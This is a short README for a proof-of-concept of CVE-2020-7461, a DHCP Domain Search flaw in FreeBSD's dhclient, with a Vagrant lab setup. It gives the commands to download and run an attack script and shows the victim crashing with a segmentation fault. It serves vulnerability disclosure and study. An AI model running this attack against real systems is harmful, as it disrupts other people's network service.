CVE-2020-7461

PoC for DHCP vulnerability (NAME:WRECK) in FreeBSD

For educational purposes only

Environment

• Host: macOS 11.2.1
• Vagrant: 2.2.15
• Victim: FreeBSD 12.1-STABLE r364849
• Attacker: Ubuntu 20.04

Disclaimer

This PoC will cause DoS instead of RCE to prevent abuse.

PoC

Turn off DHCP server in VirtualBox

Launch VMs

$ cd victim
$ vagrant up
$ cd ..

$ cd attacker
$ vagrant up
$ vagrant ssh
vagrant@vagrant:~$ sudo apt -y update && apt -y install python3 python3-pip
vagrant@vagrant:~$ wget https://raw.githubusercontent.com/knqyf263/CVE-2020-7461/main/poc.py
vagrant@vagrant:~$ python3 poc.py
Sniffing...

Run dhclient

Open another terminal

$ cd victim
$ vagrant ssh
vagrant@freebsd:~ % sudo dhclient em1
DHCPREQUEST on em1 to 255.255.255.255 port 67
Invalid forward pointer in DHCP Domain Search option compression.
Segmentation fault

References

• https://www.forescout.com/company/resources/namewreck-breaking-and-fixing-dns-implementations/
• https://www.freebsd.org/security/advisories/FreeBSD-SA-20:26.dhclient.asc

Author

Teppei Fukuda